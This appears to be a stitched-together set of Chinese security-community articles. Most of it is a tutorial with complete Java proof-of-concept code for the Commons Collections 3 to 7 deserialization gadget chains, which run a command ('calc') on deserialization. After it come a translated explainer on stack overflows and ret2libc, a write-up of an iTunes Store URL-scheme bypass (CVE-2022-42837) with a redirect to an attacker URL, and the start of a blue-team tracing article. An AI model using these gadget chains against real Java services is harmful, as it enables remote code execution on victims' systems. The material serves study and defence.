import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections3 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(object);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
## CommonsCollections4
利用链和2一样，只不过是把 `InvokerTransformer`换成了`InstantiateTransformer`
package CommonsCollections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.Transformer;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsCollections4 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
TransformingComparator comparator=new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
## CommonsCollections5
`ysoserial`中给出的调用栈如下：
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
跟进`javax.management.BadAttributeValueExpException#readObject`，此处`Object valObj
= gf.get("val",
null);`之后，`valObj`就是我们传入`org.apache.commons.collections.keyvalue.TiedMapEntry`的实例，不过需要`System.getSecurityManager()
== null`，幸运的是，默认情况下，`SecurityManager`是关闭的。
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
此处是`org.apache.commons.collections.keyvalue.TiedMapEntry#toString`到`org.apache.commons.collections.keyvalue.TiedMapEntry#getValue`，然后又是`LazyMap.get`
private final Map map;
public Object getValue() {
return this.map.get(this.key);
}
public String toString() {
return this.getKey() + "=" + this.getValue();
}
之后又是一样的操作了，最终POC如下：
package CommonsCollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;
import java.util.Map;
public class CommonsCollections5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("test.out")));
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
objectInputStream.readObject();
}
}
需要注意的这里不能在`BadAttributeValueExpException`实例化的时候传入`entry`，而是通过反射赋值
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, entry);
因为如果是在实例化的时候传入`entry`，此时`this.val = val.toString()`就是一串字符串
public String toString() {
return "BadAttributeValueException: " + val;
}
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
## CommonsCollections6
`CommonsCollections6`和5差不多，`ysoserial`中给出调用链如下：
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
`CommonsCollections6`和`CommonsCollections5`不同的是，6是将`BadAttributeValueExpException`换成了`HashSet`。
跟进`java.util.HashSet#readObject`
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
//省略部分代码
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
跟进`java.util.HashMap#put`
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
跟进`java.util.HashMap#hash`
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
跟进`org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode`
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
跟进`org.apache.commons.collections.keyvalue.TiedMapEntry#getValue`，可以看到这里又调用了我们熟悉的`LazyMap.get`
public Object getValue() {
return this.map.get(this.key);
}
POC如下：
package CommonsCollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CommonsCollections6 {
public static void main(String[] args) throws Exception {
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通过反射覆盖原本的iTransformers，防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
objectOutputStream.writeObject(hashSet);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
objectInputStream.readObject();
}
}
另外还有一种利用方法是，在`java.util.HashMap#readObject`中直接调用`hash`，直接省去了前面`HashSet`调用的前几步，也就是说我们可以直接用`HashMap`即可，并不需要`HashSet`。
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
//省略部分
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
`HashMap`的POC是将
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
替换为：
HashMap hashMap=new HashMap();
hashMap.put(tiedMapEntry,"test2");
lazyMap.remove("test1");
## CommonsCollections7
ysoserial给出的调用栈如下：
/*
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/
跟进`java.util.Hashtable#readObject`
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
//省略部分代码
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
}
跟进`java.util.Hashtable#reconstitutionPut`，此处put的时候通过`hashCode`和`equals`判断是否存在hash冲突
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
跟进`org.apache.commons.collections.map.AbstractMapDecorator#equals`
public boolean equals(Object object) {
return object == this ? true : this.map.equals(object);
}
跟进`java.util.AbstractMap#equals`，可以看到此处又是`LazyMap.get`，之后又是一样的操作了
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
POC如下：
package CommonsCollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CommonsCollections7 {
public static void main(String[] args) throws Exception{
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Map map1=new HashMap();
Map map2=new HashMap();
Map lazyMap1= LazyMap.decorate(map1,Testtransformer);
Map lazyMap2= LazyMap.decorate(map2,Testtransformer);
lazyMap1.put("yy",1);
lazyMap2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
lazyMap2.remove("yy");
//通过反射覆盖原本的iTransformers，防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(hashtable);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
这里需要注意的是我们加了一行这个代码：`lazyMap2.remove("yy");`，因为`org.apache.commons.collections.map.LazyMap#get`的时候会进行put操作，所以此时会多出一个`yy`的元素，所以需要将其移除，否则无法正常反序列化
# 总结
貌似没啥好总结的感觉挺水的，`CommonsCollections1-7`的链调试一下`ysoserial`应该基本都能看懂.jpg
# Reference
<https://www.freebuf.com/articles/web/214096.html>
<https://xz.aliyun.com/t/7157> | 社区文章 |
翻译自：<https://hackernoon.com/binary-exploitation-eli5-part-1-9bc23855a3d8>
# **0x00-前言**
在本系列文章中，我将详细介绍不同类型的二进制漏洞，解释它们是什么，它们如何工作，它们背后的技术以及一些防御他们的手段。在本系列文章中，我将尽力用任何人(从初学者到1337
h4x0r(hacker))都能理解的方式解释这些攻击，防御，技术和概念。
请注意：同时我将添加一些关键的必备知识部分，希望对这些攻击做出更多技术性的解释来帮助我们更容易理解，但本系列文章将不会介绍精通二进制漏洞攻击方式这个领域的所有信息/概念/技术。
本文将介绍以下内容：
0×01.必备知识：应用程序内存
0x02.必备知识：堆栈
0x03.必备知识：函数调用和返回
0x04.攻击：堆栈缓冲区溢出
0x05.攻击：return-to-libc(ret2libc)攻击
# **0x01-必备知识：应用程序内存**
执行程序时，应用程序会被加载到内存中，但是计算机内存是有限的，因此，在将内容加载到内存时，必须非常小心它们是否会覆盖其他的应用程序。因此，计算机使用一种名为虚拟内存的概念，可以使用早期的21世纪早期电视节目Drake
and Josh的场景来完美地总结，其中Drake和Josh在寿司店的工作是将寿司装到盒子里：
在这个场景中，Drake和Josh的这份工作需要他们将通过传送带传来的寿司装进盒子里。此外，虽然所有寿司盒子看起来完全相同，但至关重要的每个盒子只能包含一种寿司。
那么，让我们分解这个类比并将其与虚拟内存的概念联系起来：
**寿司传送带：**
正如我上面所说，计算机必须非常小心和准确地将应用程序数据放在内存中，以免被覆盖。虽然计算机可以简单地将应用程序小心地放在物理内存中，但这最终会导致问题，因为应用程序片段会迅速填满整个空间。在上面的例子中，可以将各个寿司看作应用程序分配的应用程序片段或内存块，而整个寿司集合（每个盒子装6个寿司）可以看作应用程序本身。
**Drake和Josh：**
为了避免单种的寿司填满传送带的问题，Drake和Josh将它们装进单独的盒子里，然后允许它们沿着传送带向下移动。就像Drake和Josh一样，您的计算机也会将应用程序组织并设置到容器中，叫做虚拟内存位置。这些虚拟内存位置（或虚拟地址空间）让应用程序相信它可以完全控制整个内存范围。但是，当应用程序调用某个位置或尝试在其虚拟地址空间内分配内存而不是被授予对任意物理内存的访问权限时，计算机CPU（中央处理单元）中非常重要的一小块硬件称为MMU
（内存管理单元）将应用程序的调用的位置映射到物理内存的特定区域，并帮助进行任何的内存操作。此内存映射允许计算机通过集中的查找表的方式来组织和处理具有动态内存要求的多个应用程序。
同样需要注意的是虽然应用程序的所有代码都包含在其虚拟地址空间中，但应用程序通常使用动态链接库（DLL），例如libc或kernel32。这些DLL只是外部（不存储在应用程序的地址空间中）系统应用程序或从自定义应用程序中导入的。以下面的代码为例：
正如您所看到的，在这个6行程序中，我实际上没有定义printf是什么。但是，这个程序仍然没有问题的输出“Hello World”。
这是因为printf函数是libc中定义的系统函数，它是标准的C库。在编译过程中，libc从外部链接到可执行文件。在Linux系统上，您可以使用ldd命令查看程序的共享库依赖项。
如果您正在看上面的截图并想知道0xb7e99000是什么意思，它是内存中libc库的地址。内存地址以十六进制格式表示。请[单击此处](https://www.khanacademy.org/math/algebra-home/alg-intro-to-algebra/algebra-alternate-number-bases/v/hexadecimal-number-system "单击此处")以获取有关十六进制的更多信息。
# **0x02-必备知识：堆栈**
堆栈是一个大型数据结构，用于在运行时存储应用程序信息和数据。可以通过以下类比简单地解释堆栈的功能：
鲍勃是一家高档餐厅的洗碗工，每天晚上鲍勃都有一堆盘子要洗。此外，整晚上一旦有桌子被清理，就将有更多的盘子添加到鲍勃的洗碗池里。如果鲍勃从一堆盘子中取出不是顶部的盘子，那么这个盘子以上的盘子都会掉落并且摔坏。
现在不是鲍勃和洗碗池而是一台计算机和一堆数据对象。每当数据压入到堆栈，它就会被添加到堆栈的顶部，无论何时数据弹出堆栈都从堆栈的顶部移出。也就是后进先出（LIFO：Last
In First Out）的机制。
程序使用堆栈来保存各种各样的东西，比如函数指针（函数在内存中的位置）和变量。
# **0x03 - 必备知识：函数调用和返回**
看看下面的代码：
在此代码段中，我们看到定义add函数需要2个整型参数A，B。在主函数中，我们调用add函数，将1传入到A,2传入到B。如果我们将这些代码分解为它的底层机器语音的代码，我们会看到：
如您所见，当使用参数调用函数时，程序首先将两个参数都压入堆栈，然后执行调用语句。这个调用语句重定向到程序指令指针（指令指针就像你用来跟踪你正在读取哪个单词的小铅笔。指令指针总是指向即将执行的指令（即将要执行的指令））到被调用函数的地址。但是，在导航到被调用函数之前，call语句将其下面的一条指令的地址推送到堆栈，这样当添加函数返回时，它就会知道从哪里开始继续处理。函数应该返回的位置的地址称为函数返回指针。
# **0x04 - 攻击：堆栈缓冲区溢出**
在深入了解堆栈缓冲区溢出及其工作原理的技术细节之前，让我们先看一下快速，易于理解的类比：
过去爱丽丝和鲍勃经常约会，但爱丽丝最终与鲍勃分手了。随着时间的推移，爱丽丝继续生活，但鲍勃无法从极度的悲伤中走出来。现在，爱丽丝准备嫁给罗伯特哈克曼，他是鲍勃的情敌。鲍勃变成了一个令人毛骨悚然的怪人，他通过秘密访问爱丽丝的电子邮件帐户，监视爱丽丝的所有婚礼计划。鲍勃看到爱丽丝聘请了一位著名的婚礼蛋糕设计师，设计师希望爱丽丝根据自己的口味偏好修改部分食谱。设计师给爱丽丝一个推荐的成分列表，但他说他可以做任何她想吃的。Bob打开了设计师电子邮件附带的文件，发现食谱的自定义行看起来像：
...然后，我们将通过添加______为糖霜添加味道。在那之后，我们将添加一些巧克力....
Bob注意到如果你在行中输入“Banana”，文本将如下所示：
...然后，我们将通过添加香蕉来增加糖霜的味道。在那之后，我们将添加一些巧克力......
但是，如果Bob将“草莓”输入该行，则文本将如下所示：
...然后，我们将通过添加草莓来增加糖霜的味道，我们将添加一些巧克力......
鲍勃意识到这将是破坏爱丽丝婚礼的完美方式，他所要做的就是用他恶心的版本覆盖其余的食谱！在爱丽丝的婚礼当天，设计师揭开他制作的蛋糕发现它是用冷冻蛋黄酱制成并且被虫子覆盖着的！
堆栈缓冲区溢出（就像Bob的攻击一样）会覆盖开发人员不打算覆盖的数据，从而可以完全控制程序及其输出。
那么，现在让我们在现实世界中看到它。看一下来自exploit-exercises.com的以下代码：
在上面的函数中，我们看到创建了一个名为buffer的字符类型数组，其大小为64.然后，我们看到modified变量设置为0和以buffer变量作为参数调用的gets函数。最后，我们看到一个IF语句，检查modified是不是0.显然，在这段代码中没有地方把modified这个变量设置为0以外的任何数，那么我们如何更改呢？
好吧，我们先来看看获取功能文档：
如您所见，gets函数只接受用户输入。但是，该函数不检查用户输入是否实际适合我们存储的数据结构（在本例中为缓冲区），因此，我们能够溢出数据结构并影响堆栈上的其他变量/数据。此外，由于我们知道所有变量都存储在堆栈中，并且我们知道modified变量的值是多少（0），我们所要做的就是输入足够的数据来覆盖modified变量。我们来看一个图：
如您所见，如果恶意用户输入太多文本，他们可以覆盖modified变量和堆栈上的任何其他内容，包括返回指针。这意味着如果恶意代理能够控制程序堆栈，它们实际上可以控制整个程序并使其执行任何他们想要的操作。他们可以简单地将堆栈上函数返回指针覆盖掉并且指向携带某个恶意payload的自定义指针。
# **0x05.攻击：return-to-libc(ret2libc)攻击**
在我们讨论return-to-libc（ret2libc）攻击之前，让我们花点时间更深入地讨论libc。
(从第0x01节)我们知道，libc是标准的C库。这意味着它包含C编程语言中包含的所有通用系统函数。现在，如果恶意用户能够控制程序执行其中一些功能，该怎么办？
嗯，这就是ret2libc。对于ret2libc的后果的一个完美类比可能是[黑客帝国系列](https://www.imdb.com/title/tt0133093/
"黑客帝国系列")。回想一下经典的“Guns, lots of guns”场景。操作员TANK，能够完全绕过并重新编译黑客帝国，使得大量枪支出现整个空间。
你可以想到像这样返回libc，我们能够控制黑客帝国（标准C库）并使它做任何我们想做的事情。
在它的基础上，ret2libc攻击实际上是基于堆栈缓冲区溢出。回想一下我在第0x04节末尾所说的内容，如果恶意代理可以覆盖堆栈上的数据，它们可以简单地覆盖返回指针以指向libc中的特定函数，并通过它传递任何payload必要的参数。
用于ret2libc攻击的最常见功能之一是系统函数。我们来看看它的文档：
如您所见，system命令只执行shell命令（shell是linux命令行）。此外，如果我们读上面的描述，我们可以看到system只执行/bin/sh
-c <command>(/bin/sh是实际的shell命令)，并且命令通过参数传递给函数。
因此，我们所要做的就是获取易受攻击的程序机器的命令行访问权限，首先将“/bin/sh”作为参数推送到堆栈，然后将函数返回或调用指针替换为系统函数的内存地址，以便/bin/sh作为函数参数被调用，最后启动shell并授予我们对系统的完全访问权限。
# **0x06 - 第1部分结论**
在本文中，我们讨论了：
1.虚拟内存以及应用程序如何在内存处理
2.动态链接库和libc
3.堆栈
4.如何调用函数以及函数返回的工作机制
5.堆栈缓冲区溢出
6.返回libc（ret2libc）攻击
我希望这篇文章很有帮助。 | 社区文章 |
# 陌陌安全获Apple致谢：CVE-2022-42837 - iTunes Store之殇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
先为我们的同学[@dwj1210](https://github.com/dwj1210
"@dwj1210")鼓鼓掌👏。作为围观了整个漏洞从发现到最终形成本篇文章的同学。小编前面先说一句：本次漏洞发现非常巧合，前些天给WMCTF出题的时候，dwj同学突然小声念叨好像挖到了一个RCE。于是在出完题后，我们开始了给Apple提交漏洞帮助Apple修复的漫长之路，也就有了dwj这篇文章。以下就是dwj同学的自述：
为什么这里叫做 iTunes Store 之殇，是因为 iTunes Store App 任意 javascript 代码执行的漏洞已经被修了好几次了。
该漏洞由 Safari 浏览器 中的一个恶意页面引入，当你点击一个 URL Schemes 或 Universal Links 的链接时，可以通过这个特殊的
URL 调起指定 App 并传入攻击荷载。如果在 Safari浏览器中输入`sms://`可以调起信息 App，此时会有一个弹框询问是否允许打开。
但是一些内置的 Apple 应用程序是被 Safari 浏览器信任的，不会询问用户直接拉起，这些应用程序被硬编码在系统代码中：
早在 Pwn2Own 2014 年韩国黑客 lokihardt 通过一个特殊的 URL 在 iTunes Store 打开了任意的网页：
`
<script>
location = ‘itmss://attacker.com’;
</script>`
而 `itms://` 就是 iTunes Store 注册的 URL Scheme，由于应用程序白名单的缘故不需要向用户询问就可以直接在 iTunes
Store 中打开恶意的网页。
此时结合一个 UAF 就完成了沙箱逃逸加任意代码执行。
后面苹果加入了域名限制，只有域名后缀满足 trustedDomains 域名列表时才会打开，但是 lokihardt 又找到了一个信任域的 DOM xss
又打了一次。
之后沉寂多年，在 2020 年天府杯上，cc 师傅凭借完整的 full chain exploit 远程破解了搭载 iOS14.2 的 iPhone11
设备。
而该漏洞利用链的第一步依然是从 Safari 到 iTunes Store，不利用内存破坏，不执行 shellcode，通过一个特殊的 URL
可以绕过域名白名单的校验执行任意的 javascript 代码，触发 xss 弹计算器。
感兴趣的朋友可以直接研读 cc 师傅的文章：《CVE-2021-1748：从客户端 XSS 到弹计算器》
<https://codecolor.ist/2021/08/04/mistuned-part-i/>
而今天要介绍的依然是 iTunes Store 的任意 javascript 代码执行。
iTunes Store 中有一段逻辑，当传入的 URL Scheme 中有一个特殊的参数时，应用就会忽略 URL 的 host，直接加载 URL
Scheme 参数中的 URL 进行加载，比如：
`itms://<马赛克>&url=http://www.apple.com`
iTunes Store 在启动的时候会从这个URL拉取一个 XML 文件，XML 文件中的 trustedDomains 字段中预置了 Apple
的可信域名：
只有页面的主机名和 trustedDomains 字段的后缀匹配，该页面才会被允许在 iTunes Store 中打开。
域名校验在`-[ISURLBag urlIsTrusted:]`函数中，但是该函数的域名校验存在缺陷。当你传入的 URL
为`http://[@www](https://github.com/www
"@www").apple.com:[@www](https://github.com/www "@www").hacker.com` 时，iOS
系统在通过 `-[NSURL host]`函数取 host 时会取到`www.apple.com`，但是实际打开的页面却是
`www.hacker.com`。据了解在 Android 平台同样存在类似的问题。
所以我们就可以构造一个这样的 URL Scheme 来绕过域名校验打开一个任意的网页：
`itms://<马赛克>&url=http%3A%2F%2F%40www.apple.com%3A%40172.16.136.27:1024%2Fpoc.html`
该漏洞目前已于 iOS16.2 修复，不清楚可用最低版本，但是 iOS9 – iOS16.1.2 应该都是可用的。由于影响范围比较大，所以提供的 PoC
隐去了部分关键参数。
iTunes Store 打开网页使用的 SUWebView 通过 JavaScript bridge 注入了许多功能；SUWebView 将
SUScriptInterface 类的方法导出到 js 上下文中。这些 API 被放在全局作用域的 iTunes 命名空间里。
另外在这个 WebView 中向任意域名发送请求，都会带上部分 iTunes Store cookie 信息:
例行弹计算器： | 社区文章 |
# 红蓝对抗系列之浅谈蓝队反制红队的手法一二
## 取证反查
### 针对ip 溯源一二
一般来说，红队大部分都是使用代理节点进行测试，假如我们捕获或者从样本里面分析拿到了真实ip
，那么以下操作场景就有用了，或者使用钓鱼反钓的方式获取到了真实ip。
1: ip > 来自创宇盾等节点流量ip
ip，假如前面还有一层云waf 、cdn厂商等，那么需要协调到提供服务的厂商，快速获取到云waf 或者cdn 之前的节点real_ip ,
然后拿到了真实ip 就是下面的常规溯源操作。
